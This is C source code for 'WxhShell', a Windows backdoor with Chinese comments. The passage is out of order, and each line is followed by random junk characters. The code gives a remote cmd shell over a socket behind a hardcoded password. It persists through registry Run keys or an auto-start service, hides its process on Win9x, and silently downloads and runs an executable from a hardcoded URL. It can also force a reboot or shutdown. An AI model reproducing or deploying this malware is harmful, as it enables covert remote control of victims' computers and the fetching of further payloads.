    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~y B[}BPf  
    if(Boot(SHUTDOWN)) pZjyzH{~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,((5|MbM/  
    else { SJy:5e?zk  
    closesocket(wsh); UL"Jwq D  
    ExitThread(0); -2% [ ]  
    } KZ/}Iy>As  
    break; T3'dfe U  
    } A3Ltk 2<  
  // 获取shell ``>WFLWTn  
  case 's': { g>VkQos5"  
    CmdShell(wsh); `P : -a7_  
    closesocket(wsh); m(*CuM[E  
    ExitThread(0); (doFYF~w  
    break; G>*s+  
  } ywi Shvi8  
  // 退出 6 `X#<#_&  
  case 'x': { ug UV`5w   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TyGXDU  
    CloseIt(wsh); D{a{$P r  
    break; k"GW3E;  
    } )WKe,:C  
  // 离开 If]g6 B.=  
  case 'q': { |}'}TYX0:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {,P&05iSi  
    closesocket(wsh); Z^h'&c#  
    WSACleanup(); '3%!Gi!g  
    exit(1); P`V#Wj4\  
    break; #_|b;cf  
        } ,+zLFQC0@  
  } d:<{!}BR3  
  } ~w4aA<2Uq  
9at7$Nq  
  // 提示信息 . +.Y`0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N:"E%:wSbi  
} Yx XDRb\kW  
  } 78}iNGf  
7<-D_$SrU  
  return; b$.N8W%  
} RFQa9Rxk  
.`xcR]PQ  
// shell模块句柄 >q[Elz=dI  
int CmdShell(SOCKET sock) P%%Cd  
{ :R<,J=+$u  
STARTUPINFO si; <<4G GO  
ZeroMemory(&si,sizeof(si)); 8c]\4iau  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >UR-37g{p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NoDq4>   
PROCESS_INFORMATION ProcessInfo; aViJ?*  
char cmdline[]="cmd"; h1JG^w$ 5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @36^4E>h  
  return 0; M7!&gFv8  
} I?l*GO+pz  
~mmI] pC  
// 自身启动模式 pwU]r  
int StartFromService(void) Y @pkfH  
{ 7m@pdq5Ub  
typedef struct "+Xwc+v^  
{ YR~g&E#U^  
  DWORD ExitStatus; %Cb8vYz~  
  DWORD PebBaseAddress;  :jB(!XH  
  DWORD AffinityMask; s+Ln>c'|o  
  DWORD BasePriority; B>AIec\jG  
  ULONG UniqueProcessId; ?ew^%1!W.  
  ULONG InheritedFromUniqueProcessId; f,`FbT  
}   PROCESS_BASIC_INFORMATION; 3cQTl5,  
CaZEU(i  
PROCNTQSIP NtQueryInformationProcess; Tje =vI  
VY~WkSi[<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1sn!!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v_)cp9d]  
6mMJ$FY+  
  HANDLE             hProcess; &e3z)h  
  PROCESS_BASIC_INFORMATION pbi; t(Iy[-  
\!z=x#!O$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :vX;>SH$p  
  if(NULL == hInst ) return 0; 8=)A ksu  
P#rwYPww\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q0DoR@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w?<:`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &AOw(?2  
P%B1dRa  
  if (!NtQueryInformationProcess) return 0; r`wL_>"{n  
sR?_{rQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y6^lKw  
  if(!hProcess) return 0; (WN'wp  
>2>xr"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w&:h^u  
>\(Ma3S   
  CloseHandle(hProcess); ,7/un8:%c  
jwAO{.}T1r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gh i!4  
if(hProcess==NULL) return 0; B:+}^=  
}u:^Mz  
HMODULE hMod; dpE\eXoa,  
char procName[255]; {&w%3  
unsigned long cbNeeded; }wj*^>*  
"Z}0A/y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #;}IHAR  
V/>SjUNq  
  CloseHandle(hProcess); v`x~O+  
^/Gjk  
if(strstr(procName,"services")) return 1; // 以服务启动 Mk,8v],-Tj  
kDO6:sjR7  
  return 0; // 注册表启动 fbo64$!hZ  
} C'7W50b  
:qgdn,Me  
// 主模块 6TPcG dZ  
int StartWxhshell(LPSTR lpCmdLine) ,FS iE\  
{ SuGlNp>#qm  
  SOCKET wsl;  Q+dBSKSK  
BOOL val=TRUE; bs%]xf ~D;  
  int port=0; 69yTGUG3  
  struct sockaddr_in door; '{6`n5:e  
Wu.od|t0  
  if(wscfg.ws_autoins) Install(); If!0w ;h  
=p&6A^  
port=atoi(lpCmdLine); Er{[83  
CdTmL{Y1  
if(port<=0) port=wscfg.ws_port; `2r21rVntf  
t$Irr*  
  WSADATA data; ?xUz{O0/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .7E-  
>{Lfrc1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #J^p,6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D|9B1>A,m  
  door.sin_family = AF_INET; u b4(mS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Arfq  
  door.sin_port = htons(port); pok,`yW\  
*;"^b\f5_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K"-N:OV  
closesocket(wsl); v6f$N+4c  
return 1; iF61J% 3-  
} pklcRrx,a  
)S8q.h  
  if(listen(wsl,2) == INVALID_SOCKET) { >KGQ#hnH  
closesocket(wsl); @$+l ^"#-]  
return 1; #)cRD#0  
} Im6ymaf9  
  Wxhshell(wsl); HT1bsY 0t  
  WSACleanup(); U@Aq@d+n  
+zL=UEBN  
return 0; =Ee f  
)2rI/=R  
} :peBQ{bj  
&[RC4^;\V  
// 以NT服务方式启动 fjp>FVv3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {"{J*QH  
{ ;;l(  
DWORD   status = 0; .=^h@C*   
  DWORD   specificError = 0xfffffff; "lN<v=  
:VLuI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rD$7;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^D vaT9s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E8NIH!dI  
  serviceStatus.dwWin32ExitCode     = 0; G*J(4~Yw}  
  serviceStatus.dwServiceSpecificExitCode = 0; {p6",d."N&  
  serviceStatus.dwCheckPoint       = 0; |S>nfL{TQe  
  serviceStatus.dwWaitHint       = 0; 3t%uUkXl  
o2Pj|u*X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *jA%.F  
  if (hServiceStatusHandle==0) return; Hyee#fB  
1egryp  
status = GetLastError(); -P'>~W,~  
  if (status!=NO_ERROR) $RA"NIZ:!  
{ q &jW{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tQ2*kE  
    serviceStatus.dwCheckPoint       = 0; 8oA6'%.e  
    serviceStatus.dwWaitHint       = 0; WNL3+  
    serviceStatus.dwWin32ExitCode     = status;  -U*XA  
    serviceStatus.dwServiceSpecificExitCode = specificError; xZ9y*Gv\=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \V: _Zs  
    return; A9lqVMp64  
  } rZpc"<U  
/I6?t= ?<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hk,Q=};  
  serviceStatus.dwCheckPoint       = 0; ?cg+RNI  
  serviceStatus.dwWaitHint       = 0; If4YqBG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M6DyOe<  
} G9V zVx#T#  
CqrmdWN  
// 处理NT服务事件,比如:启动、停止 .v;2Q7X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h)A+5^:^  
{ A]=?fyPh{'  
switch(fdwControl) |ZRl.C/e  
{ {v]>sn;P1  
case SERVICE_CONTROL_STOP: >O\-\L  
  serviceStatus.dwWin32ExitCode = 0; 9=JU &/!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \vm'D'9  
  serviceStatus.dwCheckPoint   = 0; c#{<| .  
  serviceStatus.dwWaitHint     = 0; F1%' zsv  
  { 7g&_`(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #UXmTrZ.  
  } CT"0"~~  
  return; %Yd}},X_E  
case SERVICE_CONTROL_PAUSE: % )|/s %W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [;I.aT}R!;  
  break; ~r=TVHjqi  
case SERVICE_CONTROL_CONTINUE: |: nuT$(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :;??!V  
  break; a`|/*{  
case SERVICE_CONTROL_INTERROGATE: 1 !\pwd@{  
  break; UdLC]  
}; G.oaDGy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E,C<ox4e  
} fylaH(LER  
\t!+]v8f8  
// 标准应用程序主函数 5~.\rcr%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *]Vx=7 D  
{ ^i:%;oeG  
4Nq n47|>e  
// 获取操作系统版本 y8<,>  
OsIsNt=GetOsVer(); =BGc@:2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z,] fR  
4 6e;UUf!d  
  // 从命令行安装 j|? bva\  
  if(strpbrk(lpCmdLine,"iI")) Install(); \sRRLDj%  
;#Mq=Fr-SG  
  // 下载执行文件 q5OW1%  
if(wscfg.ws_downexe) { PK+][.6H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9:=a FP  
  WinExec(wscfg.ws_filenam,SW_HIDE); y>~Ke UC  
} /6S/a*`<X  
n+!.0d}6  
if(!OsIsNt) { Box,N5AA  
// 如果时win9x,隐藏进程并且设置为注册表启动 1W/= =+%I  
HideProc(); h+$_:](PC  
StartWxhshell(lpCmdLine); %F}`;>C3  
} ,:L}S03k  
else N!Y'W)i16  
  if(StartFromService()) <&+l;z  
  // 以服务方式启动 Y[x ^59  
  StartServiceCtrlDispatcher(DispatchTable); &Vonu*  
else nh E!Pk  
  // 普通方式启动 01w=;Q  
  StartWxhshell(lpCmdLine); nt5 ~"8  
BO{J{  
return 0; L;z-,U$;%R  
} {yG)Ii  
8D+OF 6CM  
a)Wf* <B  
[e&$4l IS  
=========================================== slPFDBx  
Pq_Il9  
4Y)3<=kDG  
f}+G;a9Nj  
sxsM%Gb?H  
5`z{A  
" ,cm2uY  
W)9KYI9u  
#include <stdio.h> OI`Lb\8pP  
#include <string.h> @9c^{x\4  
#include <windows.h> Ok*:;G@  
#include <winsock2.h> L g%cVSz/C  
#include <winsvc.h> e=F' O] 5  
#include <urlmon.h> v4ueFEY  
*2>%>qu  
#pragma comment (lib, "Ws2_32.lib") Stp??  
#pragma comment (lib, "urlmon.lib") o#+!H!C.O  
|"@E"Za^  
#define MAX_USER   100 // 最大客户端连接数 -)$)<k  
#define BUF_SOCK   200 // sock buffer M>v M@j  
#define KEY_BUFF   255 // 输入 buffer NGxii$F  
h1Q7(8=Eg  
#define REBOOT     0   // 重启 9#3+k/A  
#define SHUTDOWN   1   // 关机 -l,ib=ne  
,-{j.  
#define DEF_PORT   5000 // 监听端口 u_ Q3v9  
lI5{]?'  
#define REG_LEN     16   // 注册表键长度 J#X7Ss  
#define SVC_LEN     80   // NT服务名长度 3~ZtAgih%  
JT:9"lmJz,  
// 从dll定义API Az)P&*2:'`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F]ALZxwkz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gVI*`$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p@Qzg /X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aFC3yMKXh  
~ R*6w($  
// wxhshell配置信息 TY88PXW  
struct WSCFG { \Xkx`C  
  int ws_port;         // 监听端口 2cmqtlW"  
  char ws_passstr[REG_LEN]; // 口令 [&zP$i&  
  int ws_autoins;       // 安装标记, 1=yes 0=no APLu?wy7s5  
  char ws_regname[REG_LEN]; // 注册表键名 +ATN2 o  
  char ws_svcname[REG_LEN]; // 服务名 RCmPZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e EU :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Aa1 |{^$:L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x/4lD}Pw]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ne#nSx5,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nxH$$}9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r^ "mPgY  
(te \!$  
}; %WO;WxG8^  
=LT({8  
// default Wxhshell configuration F*NIs:3;  
struct WSCFG wscfg={DEF_PORT, A2+t`[ w  
    "xuhuanlingzhe", d?S<h`{x   
    1, jV7q)\uu^  
    "Wxhshell", r[?rwc^  
    "Wxhshell", +0=RC^   
            "WxhShell Service", *PMql$  
    "Wrsky Windows CmdShell Service", ++kiCoC  
    "Please Input Your Password: ", ,)QmQ ^/  
  1, r1=Zoxc=w  
  "http://www.wrsky.com/wxhshell.exe", ;=n7 Z  
  "Wxhshell.exe" JEP"2MN,  
    }; iF 67  
N..u<06j/  
// 消息定义模块 Y8AU<M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dyx 4_!fO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -(59F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j"NqNv  
char *msg_ws_ext="\n\rExit."; fx}R7GN2  
char *msg_ws_end="\n\rQuit."; bqe;) A7  
char *msg_ws_boot="\n\rReboot..."; lLg23k{'  
char *msg_ws_poff="\n\rShutdown..."; yV]-![`D  
char *msg_ws_down="\n\rSave to "; 2.NzB7c*CM  
r@!~l1$s`  
char *msg_ws_err="\n\rErr!"; )kd)v4#  
char *msg_ws_ok="\n\rOK!"; %r>vZ/>a  
Onc!5L  
char ExeFile[MAX_PATH]; 2dq{n.cgs  
int nUser = 0; d+IPa<N  
HANDLE handles[MAX_USER]; l s_i)X  
int OsIsNt; od|pI5St  
5fLCmLM`  
SERVICE_STATUS       serviceStatus; }U(^QB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]>AW  
r`&ofk1K  
// 函数声明 "7aFVf  
int Install(void); 9u)h$VC  
int Uninstall(void); '!Sj]+  
int DownloadFile(char *sURL, SOCKET wsh); nnE@1X3  
int Boot(int flag); W!Xgse3  
void HideProc(void); |4'E&(BU-  
int GetOsVer(void); 6#K_Rg>.  
int Wxhshell(SOCKET wsl); .:;i*  
void TalkWithClient(void *cs); ktS0  
int CmdShell(SOCKET sock); x/Ds`\  
int StartFromService(void); Q7SS<'(  
int StartWxhshell(LPSTR lpCmdLine); 2 Sr'B;`p  
S\ li<xl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dho~6K }"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g =%W"v  
N2~z&y8.  
// 数据结构和表定义 *i\7dJ Dj  
SERVICE_TABLE_ENTRY DispatchTable[] = uUJ2d84tV  
{ Yw{](qG7e`  
{wscfg.ws_svcname, NTServiceMain}, ~bwFQYY=  
{NULL, NULL} 8=SNLO  
}; Xr~r`bR=  
o2.! G  
// 自我安装 Cr[#D$::`  
int Install(void) s9'iHe  
{ /|\`NARI  
  char svExeFile[MAX_PATH]; =]^* -f}J9  
  HKEY key; svQDSif  
  strcpy(svExeFile,ExeFile); OI-%Ig%C#l  
,wFLOfV@  
// 如果是win9x系统,修改注册表设为自启动 'shOSB  
if(!OsIsNt) { ?Cu$qE!h)[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vw!i)JO8M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XkNi 'GJf  
  RegCloseKey(key); wY=ky629  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s+CWyW@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E+01"G<Q  
  RegCloseKey(key); lz>5bR'  
  return 0; +&t{IP(?  
    } _&:o"""Wf  
  } JhD8.@} b~  
} 56v<!L5%  
else { HL)1{[|`  
Bq _<v)M*  
// 如果是NT以上系统,安装为系统服务 F{}z[0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sn *s7v:  
if (schSCManager!=0) :l 7\7IT  
{ `  ^6}Dn  
  SC_HANDLE schService = CreateService Fq{nc]L6  
  ( g\^(>Ouc  
  schSCManager, xE9s=}  
  wscfg.ws_svcname, INkrG.=u  
  wscfg.ws_svcdisp, l/1uP  
  SERVICE_ALL_ACCESS, z1L.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <oeHZD_ OR  
  SERVICE_AUTO_START, T @z$g  
  SERVICE_ERROR_NORMAL, &d*9#?9  
  svExeFile, \q,w)BE  
  NULL, `S.;&%B\  
  NULL, qS7*.E~j|]  
  NULL, A]n !d}?  
  NULL, B8P%4@T  
  NULL JD'/m hN0  
  ); !k[ zUti  
  if (schService!=0) M 35}5+  
  { aN7u j  
  CloseServiceHandle(schService); QF^An B  
  CloseServiceHandle(schSCManager); @ce4sSo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0W>O,%z&P#  
  strcat(svExeFile,wscfg.ws_svcname); k"n#4o:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \t1vYIY]T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ig6s'^  
  RegCloseKey(key); pGOS'.K%t8  
  return 0; %+'&$  
    } (_W[~df4  
  } q5`Gl  
  CloseServiceHandle(schSCManager); |6uEf/*DX  
} F:H76O`8  
} cJty4m-  
0~-+5V  
return 1; a'A0CQ  
} 6)?TWr'Ke  
1%+0OmV&  
// 自我卸载 Llzowlfe  
int Uninstall(void) P"~ B2__*  
{ :b ;5O3:B  
  HKEY key; QKF2_Acc   
CBvBBt*  
if(!OsIsNt) { LyQO_mT2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rDSt ~ l  
  RegDeleteValue(key,wscfg.ws_regname); 0xjV*0?s  
  RegCloseKey(key); 2R_k$kHl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TS%cTh'ItH  
  RegDeleteValue(key,wscfg.ws_regname); hgh1G7A&  
  RegCloseKey(key); 0zfrx-'zN  
  return 0; Le}q>>o;q  
  } H37Z\xS  
} UjfB+=7I{L  
} sS0psw1  
else { X`vDhfh>N  
)45,~+XX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N1SRnJu<f  
if (schSCManager!=0) / )EB~|4']  
{ gF:wdcO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A^m hPBT_  
  if (schService!=0) 0(..]\p^d  
  { J 5\> 8I,a  
  if(DeleteService(schService)!=0) { O}%=c\Pb  
  CloseServiceHandle(schService); <Q8bn?Z  
  CloseServiceHandle(schSCManager); _}\&;  
  return 0; : Z.mM5  
  } aRV!0?fS  
  CloseServiceHandle(schService); Psv-y  
  } )/=J=xw2  
  CloseServiceHandle(schSCManager); Cz(PjS  
} R52!pB0[  
} Eod2vr =Q  
h(zi$V  
return 1; jG/kT5S  
} InDR\=o  
N7e^XUG   
// 从指定url下载文件 ?K]k(ZV_+Y  
int DownloadFile(char *sURL, SOCKET wsh) fHgfI@{=j  
{ v|e\o~2D`  
  HRESULT hr; NN$`n*;l  
char seps[]= "/";  &wj Ob  
char *token; K}zw%!ex  
char *file; >y=%o~  
char myURL[MAX_PATH]; w8on3f;6n#  
char myFILE[MAX_PATH]; UC0 yrV  
O-|3k$'\z  
strcpy(myURL,sURL); ~q9RZ#g13J  
  token=strtok(myURL,seps); 4gZN~_AI<  
  while(token!=NULL) DQRt\!  
  { ' ZB%McS  
    file=token; f]hW>-B(q  
  token=strtok(NULL,seps); <9Chkb|B  
  }  Ne4A  
^.4<#Qs  
GetCurrentDirectory(MAX_PATH,myFILE); NfSe(rd  
strcat(myFILE, "\\"); NT nn!k  
strcat(myFILE, file); ZqhINM*Rm  
  send(wsh,myFILE,strlen(myFILE),0); Xu T|vh  
send(wsh,"...",3,0); ="4jk=on  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H#ihU3q  
  if(hr==S_OK) ;P{ *'@  
return 0; 4bKZ@r%  
else c=K M[s.  
return 1; 4Pt0^;H&jn  
D`gY6wX  
} :4A^~+J  
qR1ez-#K  
// 系统电源模块 I 7TMv.  
int Boot(int flag) W}e5 4-lu  
{ `j2z=5  
  HANDLE hToken; 6m{3GKaW~  
  TOKEN_PRIVILEGES tkp; 63~i6  
,5/gNg  
  if(OsIsNt) { \gzNMI*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g_q{3PW.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HS2)vd@)  
    tkp.PrivilegeCount = 1; )oNomsn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |GsLcUv6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qejzp/2  
if(flag==REBOOT) { w?R6$n`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4f1*?HX&  
  return 0; !nd*U}q  
} RS93_F8   
else { "'8$hV65.p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vbWX`skU  
  return 0; C{,nDa?|  
} UR\*KR;yM  
  } j jwY{jV  
  else { 5H5< ft,  
if(flag==REBOOT) { dW=]|t&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %>s y`c  
  return 0; aR3W9  
} ._nhW*  
else { }X`K3sk2/z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .$r(":A#)  
  return 0; F!Uk`[L  
} * 5j iC  
} [[)HPHSQ  
|5W u0T  
return 1;  mbd@4u  
} 4u;W1=+Vn  
w ggl,+7  
// win9x进程隐藏模块 'Kq%t M26!  
void HideProc(void) _LS=O@s^  
{ 4}0s^>R  
a]Lr<i8#%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YlYTH_L>E  
  if ( hKernel != NULL ) 2#rF/!`^  
  { +Oxl1fDf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P3:hGmk8|j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *v&g>Ni  
    FreeLibrary(hKernel); Z)ObFJMG5  
  } N#UyAm<9  
D,R/abYZH  
return; ){,8}(|  
} 0>AA-~=-  
eHv/3"Og  
// 获取操作系统版本 ^ sz4rk  
int GetOsVer(void) e06r5%|.%  
{ VJPt/Dy{  
  OSVERSIONINFO winfo; Vdjca:`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \_+d*hHF~  
  GetVersionEx(&winfo); Bp b_y;E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sqkPC_;A  
  return 1; K/08F|]a  
  else Xf.SJ8G  
  return 0; R[9[lQ'vR  
} 0R; ;ou  
Gz kf  
// 客户端句柄模块 z,^baU  
int Wxhshell(SOCKET wsl) /|>z7#?m^  
{ |i|>-|`!  
  SOCKET wsh; Bq\%]2;eo{  
  struct sockaddr_in client; ? 1_*ct=g9  
  DWORD myID; khyV uWN  
y0z}[hZ  
  while(nUser<MAX_USER) jPFA\$To  
{ 'Yj/M  
  int nSize=sizeof(client); UGAP$_j ]P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d#A.A<p*  
  if(wsh==INVALID_SOCKET) return 1; m. XLpD  
Xp%JPI {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RCsd  
if(handles[nUser]==0) j]jwQRe  
  closesocket(wsh); 5Zh /D0!|  
else )K%AbKn  
  nUser++; $L3UDX+F  
  } &OsJnkY<<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JH2d+8O:qK  
Of-l<Ks\  
  return 0; 8?ZK^+]y  
} Bl(we/r  
w%`7,d u|  
// 关闭 socket k|&@xEbS  
void CloseIt(SOCKET wsh) MvQ0"-ZQ  
{ tLLP2^_&  
closesocket(wsh); pWeKN`  
nUser--; l].dOso$`  
ExitThread(0); QKe=/;  
} HD$W\P  
{wK98>$a  
// 客户端请求句柄 rry 33  
void TalkWithClient(void *cs) `2}Mz9mk  
{ C?X^h{T p  
q.~_vS%  
  SOCKET wsh=(SOCKET)cs; Kc0KCBd8];  
  char pwd[SVC_LEN]; *Z<`TB)<X  
  char cmd[KEY_BUFF]; pYH#Vh  
char chr[1]; s_u@8e 6_  
int i,j; 7RDfhKdb  
4s%vx]E  
  while (nUser < MAX_USER) { r 5:DIA!  
/wKL"M-%  
if(wscfg.ws_passstr) {  \&"gCv#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U+URj <)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *i&ks> 4N  
  //ZeroMemory(pwd,KEY_BUFF); <-FAF:6$@@  
      i=0; r. :LZEr  
  while(i<SVC_LEN) { +%oXPG?  
]~GwZB'M  
  // 设置超时 )}tI8  
  fd_set FdRead; oBpHmMzA  
  struct timeval TimeOut; 4Y;z46yM%  
  FD_ZERO(&FdRead); iJT_*,P^  
  FD_SET(wsh,&FdRead); '0lX;z1  
  TimeOut.tv_sec=8; j0>Q:hn  
  TimeOut.tv_usec=0; r_F\]68  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %;~Vc{Xxt/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n~@;[=o?5  
5PqL#Eu`!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VMZ\9IwI  
  pwd=chr[0]; ~#C7G\R  
  if(chr[0]==0xd || chr[0]==0xa) { "sdzm%  
  pwd=0; Ho2#'lSKM  
  break; &Y4S[-   
  } %`?IY<  
  i++; ~ep-XO  
    } uD}Q}]Z  
!g'kWE[  
  // 如果是非法用户,关闭 socket i^f*Em1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9'Le}`Gf  
} N8#wQ*MM>  
tZB" (\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p D-k<8|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (_ HwU/  
,( u- x!  
while(1) { 8KiG(6*Q  
 LhKaqR{  
  ZeroMemory(cmd,KEY_BUFF); Nawph  
b bCH(fYbu  
      // 自动支持客户端 telnet标准   NO+.n)etGb  
  j=0; AY<(`J{  
  while(j<KEY_BUFF) { uB_8P+h7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H`d595<=i;  
  cmd[j]=chr[0]; @y ] ek/  
  if(chr[0]==0xa || chr[0]==0xd) { VKqIFM1b  
  cmd[j]=0; #ueWU  
  break; oR}cE Sr  
  } i&=I5$  
  j++; <Nwqt[.  
    } JFewOt3  
(E[c-1s  
  // 下载文件 ]Dec/Nnj  
  if(strstr(cmd,"http://")) { y(^t&tgjS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); : 7>oFz  
  if(DownloadFile(cmd,wsh)) 42]hX9E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T+1:[bqK  
  else G9v'a&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :{BD/6  
  } u a%@Ay1|  
  else { >8M=RE n4  
[ ICFPY6  
